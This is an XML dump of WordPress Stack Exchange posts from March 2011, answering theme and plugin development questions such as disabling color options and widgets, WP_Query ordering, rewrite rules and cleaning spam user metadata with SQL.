  <row Id="12934" PostTypeId="1" AcceptedAnswerId="12938" CreationDate="2011-03-24T13:30:28.393" Score="0" ViewCount="79" Body="&lt;p&gt;This question is related to my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12918/where-is-default-wp-head-implemented&quot;&gt;earlier question&lt;/a&gt;, but I think it's specific enough to qualify as a standalone question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am modifying an existing theme (the Twenty Ten theme that ships with WordPress), and I would like to completely control the colors used. The Admin Screen allows the administrator to select a background color, and this seems to be implemented in one of the actions that are automatically registered to the &lt;code&gt;wp_head&lt;/code&gt; hook (listed by Bainternet &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12918/where-is-default-wp-head-implemented&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like to do two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remove the &lt;em&gt;Color Options&lt;/em&gt; menu from the Admin Screen when my theme is activated. Is this possible and if so, how would I go about doing this? (Links to documentation welcome!)&lt;/li&gt;&#xA;&lt;li&gt;Remove the automatically registered action to wp_head that controls the color. Which action in particular would be responsible for this? (rsd_link, etc?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="4184" LastActivityDate="2011-03-24T14:03:38.850" Title="How to Disable Color Options?" Tags="&lt;theme-development&gt;&lt;wp-admin&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="12935" PostTypeId="1" AcceptedAnswerId="12936" CreationDate="2011-03-24T13:43:04.423" Score="0" ViewCount="28" Body="&lt;p&gt;I checked in my list of plugins, and I have nothing that seems like Related Posts or Similar Posts. Yet, at the end of &lt;a href=&quot;http://ripper234.com/p/my-2011-job-hunt/&quot; rel=&quot;nofollow&quot;&gt;my posts&lt;/a&gt; I find two very similar sections titled as such. Any idea how to turn one of them off, and how to understand what plugins are responsible for generating them?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2011-03-24T13:48:16.963" Title="What is generating Similar Posts and Related Posts on my blog?" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="12936" PostTypeId="2" ParentId="12935" CreationDate="2011-03-24T13:48:16.963" Score="2" ViewCount="" Body="&lt;p&gt;Similar posts section has following comment in page source&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Similar Posts took 18.313 ms --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which quick search identifies as belonging to &lt;a href=&quot;http://wordpress.org/extend/plugins/similar-posts/&quot; rel=&quot;nofollow&quot;&gt;Similar Posts&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing to identify &quot;Related&quot; section by. I'd try to search sources for that heading.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-24T13:48:16.963" CommentCount="1" />
  <row Id="12938" PostTypeId="2" ParentId="12934" CreationDate="2011-03-24T14:03:38.850" Score="0" ViewCount="" Body="&lt;p&gt;In TwentyTen’s functions.php the custom background is added in twentyten_setup() which is called on the action &lt;code&gt;'after_setup_theme'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your child theme, the following should remove the option completely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Higher priority to work after TwentyTen&#xA;add_action( 'after_setup_theme', 'wpse12934_remove_custom_background', 20 );&#xA;&#xA;function wpse12934_remove_custom_background()&#xA;{&#xA;    remove_custom_background();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-24T14:03:38.850" CommentCount="3" />
  <row Id="12939" PostTypeId="2" ParentId="12926" CreationDate="2011-03-24T14:05:35.457" Score="2" ViewCount="" Body="&lt;p&gt;3 steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;wp_enqueue_script( 'jquery-ui-sortable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;metabox-holder&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;postbox-container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;my_div&quot; class=&quot;meta-box-sortables ui-sortable&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;postbox&quot; id=&quot;el1&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;hndle&quot;&amp;gt;&amp;lt;span&amp;gt;title2&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div class=&quot;inside&quot;&amp;gt;content1&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        [...elements...]&#xA;        &amp;lt;div class=&quot;postbox&quot; id=&quot;el20&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;hndle&quot;&amp;gt;&amp;lt;span&amp;gt;title20&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div class=&quot;inside&quot;&amp;gt;content1&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;javascript&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;    jQuery('#my_div').sortable();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-24T14:05:35.457" CommentCount="3" />
  <row Id="12940" PostTypeId="1" AcceptedAnswerId="12941" CreationDate="2011-03-24T14:10:37.030" Score="1" ViewCount="134" Body="&lt;p&gt;How do I completely remove widget support from a theme/plugin ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like removing the &lt;em&gt;appearance -&gt; widgets page&lt;/em&gt;, and prevent WP from loading widget classes and all widget-related stuff.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-03-24T15:58:16.067" Title="Completely disabling widgets" Tags="&lt;widgets&gt;&lt;wp-admin&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="12941" PostTypeId="2" ParentId="12940" CreationDate="2011-03-24T14:35:26.213" Score="2" ViewCount="" Body="&lt;p&gt;One option would be to simply flush the widget code out of the sidebar.php file, as well as the header/footer/post pages if they are using widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, take a peek at this code snippet (courtesy of &lt;a href=&quot;http://justintadlock.com/archives/2009/03/06/disable-widget-areas-without-touching-theme-templates&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;), which you can add to your functions.php file and will disable the widgets. I think this would be a cleaner approach if you're looking to change themes and sill have widgets disabled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;   add_filter( ‘sidebars_widgets’, ‘disable_all_widgets’ ); &#xA;   function disable_all_widgets( $sidebars_widgets ) &#xA;   { &#xA;      if ( is_home() ) $sidebars_widgets = array( false ); &#xA;      return $sidebars_widgets; &#xA;   } &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this will only disable the widgets on your home page, so you'll need to find the additional conditionals for individual pages/posts/etc.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-03-24T14:35:26.213" />
  <row Id="12942" PostTypeId="1" AcceptedAnswerId="12949" CreationDate="2011-03-24T15:03:17.090" Score="0" ViewCount="88" Body="&lt;p&gt;I have 2 older WP blog installs with regular posts that I would like to bring over to a new blog. One of the older installs is for &quot;news&quot; posts and the other is for &quot;blog&quot; posts (I know this was not the best way of setting things up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my new blog, I have created two custom post types (&quot;news&quot; and &quot;blog&quot;) and I would like to import these two older installs into my new install's respective post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an automated way of doing this (perhaps a plugin) that would save me from manually re-entering all of these posts? I'm assuming that simply importing these will not allow me to mark them as a custom post type and instead would make them generic posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &#xA;Jake&lt;/p&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2011-03-24T15:23:27.680" Title="Importing old blog with regular posts into new custom post types" Tags="&lt;custom-post-types&gt;&lt;import&gt;" AnswerCount="1" />
  <row Id="12943" PostTypeId="2" ParentId="12940" CreationDate="2011-03-24T15:04:16.513" Score="1" ViewCount="" Body="&lt;p&gt;The &quot;Widgets&quot; menu item &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/functions.php#L3133&quot; rel=&quot;nofollow&quot;&gt;is added by &lt;code&gt;wp_widgets_add_menu()&lt;/code&gt;&lt;/a&gt;, called in the &lt;code&gt;_admin_menu&lt;/code&gt; hook, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/functions.php#L3117&quot; rel=&quot;nofollow&quot;&gt;as set up by &lt;code&gt;wp_maybe_load_widgets()&lt;/code&gt;&lt;/a&gt;. You can disable this by unhooking it from &lt;code&gt;_admin_menu&lt;/code&gt; or returning false for &lt;code&gt;load_default_widgets&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also unregister all sidebars as Bainternet suggested, and &lt;code&gt;remove_theme_support( 'widgets' )&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T15:04:16.513" CommentCount="2" />
  <row Id="12944" PostTypeId="1" CreationDate="2011-03-24T15:08:06.427" Score="2" ViewCount="290" Body="&lt;p&gt;In asking &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12535/which-hook-should-be-used-to-add-an-action-containing-a-redirect/12547#12547&quot;&gt;a question about hooks and redirects&lt;/a&gt;, I was advised to use wp_redirect in place of the PHP header function. Just wondering why wp_redirect is preferable?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-03-24T15:18:25.900" Title="Why is wp_redirect() preferable to a standard PHP header redirect?" Tags="&lt;redirect&gt;&lt;headers&gt;&lt;wp-redirect&gt;" AnswerCount="2" />
  <row Id="12945" PostTypeId="2" ParentId="12916" CreationDate="2011-03-24T15:12:13.360" Score="0" ViewCount="" Body="&lt;p&gt;Yes, it is possible. You'll want to look at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;Order &amp;amp; Orderby Parameters&lt;/a&gt; to WP_Query and since you didn't give too many details here, you should probably also look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts/1755#1755&quot;&gt;When should you use WP_Query vs query_posts() vs get_posts()?&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-24T15:12:13.360" />
  <row Id="12946" PostTypeId="2" ParentId="12525" CreationDate="2011-03-24T15:12:40.270" Score="1" ViewCount="" Body="&lt;p&gt;The link window was &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11420&quot; rel=&quot;nofollow&quot;&gt;completely redesigned in 3.1&lt;/a&gt; to make it easier to link to other posts in your blog. The &quot;title&quot; and &quot;class&quot; attributes were removed from this window, probably because the UI team thought they were not used as often?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T15:12:40.270" CommentCount="1" />
  <row Id="12947" PostTypeId="2" ParentId="12944" CreationDate="2011-03-24T15:16:59.020" Score="3" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/pluggable.php#L872&quot; rel=&quot;nofollow&quot;&gt;the source&lt;/a&gt;. It has some additional logic for IIS servers, as well as some hooks. It is also pluggable function, so it might be redefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall it's just more flexible and gives other developers more options to work with your code, unavailable if you just hardcode things.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-24T15:16:59.020" CommentCount="4" />
  <row Id="12948" PostTypeId="2" ParentId="12944" CreationDate="2011-03-24T15:18:25.900" Score="1" ViewCount="" Body="&lt;p&gt;It (wp_redirect fn) is more than just setting the header. Just take a look &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/pluggable.php#L883&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; what it does before setting a header.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-24T15:18:25.900" />
  <row Id="12949" PostTypeId="2" ParentId="12942" CreationDate="2011-03-24T15:23:27.680" Score="0" ViewCount="" Body="&lt;p&gt;Try importing and then using a plugin (&lt;a href=&quot;http://wordpress.org/extend/plugins/post-type-switcher/&quot; rel=&quot;nofollow&quot;&gt;Post Type Switcher&lt;/a&gt;) to change the type. There are a few other plugins out there for this, I seem to remember one which would convert multiple posts, but I couldn't find it just now.&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-03-24T15:23:27.680" CommentCount="1" />
  <row Id="12950" PostTypeId="1" AcceptedAnswerId="12974" CreationDate="2011-03-24T15:33:46.360" Score="1" ViewCount="134" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br&gt;&#xA;From reading the answers, i think i didn't make myself clear, so i try to post it again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I register taxonomies from data from parsed xml files. The arguments passed &lt;em&gt;should&lt;/em&gt; be absolutely correct. What i wanted to know is on which of the arguments of the &lt;code&gt;register_taxonomy()&lt;/code&gt; function the &lt;code&gt;sanitize_title()&lt;/code&gt; function get's called. I currently got an error and need to figure out which of the parameters is wrong.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-24T18:14:08.123" LastActivityDate="2011-03-24T19:05:09.807" Title="remove sanitize_title() for register_taxonomy()" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="12951" PostTypeId="2" ParentId="12940" CreationDate="2011-03-24T15:58:16.067" Score="1" ViewCount="" Body="&lt;p&gt;If you make use of the internal functions from &lt;code&gt;widgets.php&lt;/code&gt;, then it's as easy as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // final function makes most sense&#xA;    // (useing stuff like `$GLOBALS['wp_widget_factory']` will do nothing better than this ex.)&#xA;   // place inside your functions.php  &#xA;&#xA;    unregister_widget( 'some widget' );&#xA;&#xA;    // if my search results are right, these should be the available default widgets &#xA;    // from /wp-includes/widgets.php&#xA;    Line 389:   'wp_widget_pages',&#xA;    Line 390:   'wp_widget_pages_control',&#xA;    Line 391:   'wp_widget_calendar',&#xA;    Line 392:   'wp_widget_calendar_control',&#xA;    Line 393:   'wp_widget_archives',&#xA;    Line 394:   'wp_widget_archives_control',&#xA;    Line 395:   'wp_widget_links',&#xA;    Line 396:   'wp_widget_meta',&#xA;    Line 397:   'wp_widget_meta_control',&#xA;    Line 398:   'wp_widget_search',&#xA;    Line 399:   'wp_widget_recent_entries',&#xA;    Line 400:   'wp_widget_recent_entries_control',&#xA;    Line 401:   'wp_widget_tag_cloud',&#xA;    Line 402:   'wp_widget_tag_cloud_control',&#xA;    Line 403:   'wp_widget_categories',&#xA;    Line 404:   'wp_widget_categories_control',&#xA;    Line 405:   'wp_widget_text',&#xA;    Line 406:   'wp_widget_text_control',&#xA;    Line 407:   'wp_widget_rss',&#xA;    Line 408:   'wp_widget_rss_control',&#xA;    Line 409:   'wp_widget_recent_comments',&#xA;    Line 410:   'wp_widget_recent_comments_control'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-24T15:58:16.067" />
  <row Id="12952" PostTypeId="1" CreationDate="2011-03-24T16:26:09.620" Score="0" ViewCount="71" Body="&lt;p&gt;I'm new at wordpress, so maybe this question is very basic, but I looked at Google and I searched for tutorials and I didn't find anything...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is simple. I have a &quot;page&quot;, and this page is show as a friendly url. Example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/seleccion/2011/03/24/abuso-sexual-el-secreto-y-la-verguenza-por-jose-andres-murillo/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/seleccion/2011/03/24/abuso-sexual-el-secreto-y-la-verguenza-por-jose-andres-murillo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I coul find the php file where this &quot;page&quot; is render? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you don't have friendly url, thats is easy : &lt;a href=&quot;http://www.example.com/page_file.php?id=3&amp;amp;cat=8&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/page_file.php?id=3&amp;amp;cat=8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the friendly url hide all this information :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance...&lt;/p&gt;&#xA;" OwnerUserId="3251" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-03-24T16:53:08.600" LastActivityDate="2011-03-24T16:53:08.600" Title="What is the best way to figure out which template file that a &quot;pretty permalink&quot; is using?" Tags="&lt;urls&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12953" PostTypeId="2" ParentId="12950" CreationDate="2011-03-24T16:28:11.477" Score="2" ViewCount="" Body="&lt;p&gt;One Trick Pony is right, register_taxonomy() does not handle arrays. &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-24T16:28:11.477" CommentCount="1" />
  <row Id="12954" PostTypeId="1" AcceptedAnswerId="12958" CreationDate="2011-03-24T16:29:12.323" Score="0" ViewCount="85" Body="&lt;p&gt;I have a custom loop (used in a shortcode) that lists items from custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine but &quot;order&quot; for posts doesn't work, no matter what I type as order attribute on post page - items are always displayed the same way (the most recent first and the oldest last).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't &quot;order&quot; work in my case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $loop = new WP_Query( array( &#xA;        'post_type' =&amp;gt; 'images',   &#xA;        'paged' =&amp;gt; get_query_var('paged') ? get_query_var('paged') : 1,&#xA;        'posts_per_page' =&amp;gt; $per_page,&#xA;         ) );&#xA;&#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;(my code)&#xA;php endwhile; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-24T16:39:01.243" Title="&quot;Order&quot; doesn't work in custom loop?" Tags="&lt;custom-post-types&gt;&lt;loop&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="12955" PostTypeId="2" ParentId="12952" CreationDate="2011-03-24T16:33:34.297" Score="0" ViewCount="" Body="&lt;p&gt;I may be misunderstanding your question, but in WordPress that page is not related directly to a php file. If you are looking in the WordPress backend, you can go to either Posts or Pages and find that title, then hover over it and look in the status bar for the Post/Page ID, if that's what you're trying to find. Sorry not to be more help - maybe you can explain what you're looking for in a different way? &lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-03-24T16:33:34.297" CommentCount="1" />
  <row Id="12956" PostTypeId="2" ParentId="12931" CreationDate="2011-03-24T16:34:16.447" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried hooking the template_directory filter? There are also hooks for each of the individual template elements and stylesheet_directory. &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-24T16:34:16.447" CommentCount="1" />
  <row Id="12957" PostTypeId="1" AcceptedAnswerId="12964" CreationDate="2011-03-24T16:36:41.477" Score="0" ViewCount="48" Body="&lt;p&gt;I am creating a plugin that adds two custom post types, one of which will always be a child of the other. The parent post type is for Events, the child for Performances.  Before entering the Loop, I'd like to be able to find a set of Events that have Performances on a specific date.  Performance date is stored as a meta field on the Performance post. The Loop would then list each Event matched, like in a standard post archive loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preference is to query the Event post type, since that strikes me as easier to manage for pagination, but if there's a better implementation that simply involves querying performances, I am open to that, but I'd like to see if there's a facility for limiting a query based on a field in the child post.&lt;/p&gt;&#xA;" OwnerUserId="3708" LastActivityDate="2011-03-24T17:10:25.970" Title="Find Posts based on Child Post value" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="12958" PostTypeId="2" ParentId="12954" CreationDate="2011-03-24T16:39:01.243" Score="1" ViewCount="" Body="&lt;p&gt;Add &lt;code&gt;orderby&lt;/code&gt; clause to your query! Here is the complete list of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot; title=&quot;Orders&quot;&gt;order parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $loop = new WP_Query( array( &#xA;        'post_type' =&amp;gt; 'images',   &#xA;        'orderby' =&amp;gt; 'menu_order',&#xA;        'paged' =&amp;gt; get_query_var('paged') ? get_query_var('paged') : 1,&#xA;        'posts_per_page' =&amp;gt; $per_page,&#xA;         ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query order by the menu order that you have specified in your pages&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-24T16:39:01.243" />
  <row Id="12959" PostTypeId="2" ParentId="12903" CreationDate="2011-03-24T16:40:46.457" Score="1" ViewCount="" Body="&lt;p&gt;If that is just one exception you could add an .htaccess rule for it or just use the Redirection plugin. It's not the best solution but neither is spending 20 hours on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, Yoast WordPress SEO has the ability to remove the category base, you don't need the second plugin anyway. &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-24T16:40:46.457" />
  <row Id="12961" PostTypeId="2" ParentId="12952" CreationDate="2011-03-24T16:48:52.050" Score="2" ViewCount="" Body="&lt;p&gt;The pages are generated dynamically from a php template in the theme directory. All single posts would use single.php (or single-[post-type].php if the theme supports it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page templates would be page.php (or page-[page name].php or page-[id].php)&lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-24T16:48:52.050" />
  <row Id="12962" PostTypeId="1" CreationDate="2011-03-24T16:53:42.410" Score="0" ViewCount="136" Body="&lt;p&gt;Is there a way to when embedding a nexgen gallery to have the preview image of that gallery become the posts featured image or thumbnail. That way the post has a preview image of one of the images in the correlating gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-03-24T16:53:42.410" Title="NextGen Gallery post thumbanail" Tags="&lt;post-thumbnails&gt;&lt;plugin-nextgen-gallery&gt;" />
  <row Id="12963" PostTypeId="1" AcceptedAnswerId="12967" CreationDate="2011-03-24T17:08:09.183" Score="0" ViewCount="78" Body="&lt;p&gt;ok - so i'm listing categories and their sub-categories. How can i get the ID of the category that's being shown with a function? ( i know what it is in the admin )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie /category/events/women-in-art/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;women-in-art-ID = ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help appreciated! Dan.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-03-24T20:28:13.753" Title="get listed category's id?" Tags="&lt;categories&gt;&lt;list&gt;" AnswerCount="2" />
  <row Id="12964" PostTypeId="2" ParentId="12957" CreationDate="2011-03-24T17:10:25.970" Score="1" ViewCount="" Body="&lt;p&gt;Child posts are related to their parents (through the &quot;post_parent&quot; field), and not vice versa. So you would have to query your child post type first, then get the parents of all the results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// obviously these variable names and key names might not apply,&#xA;// change them as necessary&#xA;$performances = get_posts( array(&#xA;     'meta_key' =&amp;gt; 'the_performance_date_custom_field',&#xA;     'meta_value' =&amp;gt; $date,&#xA;     'post_type' =&amp;gt; 'performance' ) );&#xA;&#xA;// extract the parent post ID's from each of the returned performances   &#xA;$event_ids = array_map( &#xA;     create_function('$post','return $post-&amp;gt;post_parent'), &#xA;     $performances );&#xA;$event_ids = array_unique( $event_ids ); // dump any duplicate events&#xA;&#xA;// and finally, get the events from their ids&#xA;$events = get_posts( array(&#xA;    'post_type' =&amp;gt; 'event',&#xA;    'post__in' =&amp;gt; $event_ids ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-24T17:10:25.970" />
  <row Id="12965" PostTypeId="1" AcceptedAnswerId="12969" CreationDate="2011-03-24T17:11:55.690" Score="0" ViewCount="188" Body="&lt;p&gt;Using WP3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Have a custom page with a WP_Query and the query gets dynamic variables from the url. And i want safe variables and clean urls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;carpage/?carmodel=honda&amp;amp;location=finland&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;TO     &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;carpage/honda/finland/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I made add_rewrite_rule in to functions.php and it works, but iam not sure it's safe to use this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function fcars() {&#xA;&#xA;  add_rewrite_rule('carpage/[/]?([a-zA-Z-]*)[/]?([a-zA-Z-]*)$', 'index.php?pagename=carpage&amp;amp;var1=$matches[1]&amp;amp;var2=$matches[2]');&#xA;&#xA;  add_rewrite_tag('%var1%', '[a-zA-Z]+');&#xA;  add_rewrite_tag('%var2%', '[a-zA-Z]+');&#xA;}&#xA;&#xA;add_action('init', 'fcars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in Custom template i get the vars&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please help me with this. How can i make this safe to use and is this the right way in WP3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the right way to make add_rewrite_rule in this case: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;carpage/honda/finland/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(just hyphens and small letters in url) carpage is the static template page.&lt;/p&gt;&#xA;" OwnerUserId="4190" LastEditorUserId="4190" LastEditorDisplayName="" LastEditDate="2011-03-24T19:51:24.323" LastActivityDate="2011-03-24T21:11:42.287" Title="Custom page with variables in url. Nice url with add_rewrite_rule" Tags="&lt;functions&gt;&lt;urls&gt;&lt;variables&gt;&lt;rewrite-rules&gt;&lt;sanitization&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="12966" PostTypeId="1" CreationDate="2011-03-24T17:13:38.223" Score="0" ViewCount="30" Body="&lt;p&gt;I want to delete all records from &lt;code&gt;wp_usermeta&lt;/code&gt; with user_id whose meta_value is &quot;tonetone&quot; which is spam accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know already, there are many records with one user_id in wp_usermeta.&#xA;I tried like this but doesn't work. Thanks to anyone who can show me the way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete from wp_usermeta where user_id = (select user_id from wp_usermeta where meta_value = &quot;tonetone&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4191" LastActivityDate="2011-03-24T17:40:34.533" Title="What's the sql for this condition?" Tags="&lt;mysql&gt;" AnswerCount="1" />
  <row Id="12967" PostTypeId="2" ParentId="12963" CreationDate="2011-03-24T17:35:39.560" Score="1" ViewCount="" Body="&lt;p&gt;How about get_query_var('cat'). I think that should get the ID of the current category. &lt;/p&gt;&#xA;" OwnerUserId="4161" LastActivityDate="2011-03-24T17:35:39.560" CommentCount="1" />
  <row Id="12968" PostTypeId="2" ParentId="12966" CreationDate="2011-03-24T17:40:34.533" Score="2" ViewCount="" Body="&lt;p&gt;Just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete from wp_usermeta where meta_value = &quot;tonetone&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't you actually mean to delete the rows from wp_users, as opposed to just the metadata?&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-24T17:40:34.533" />
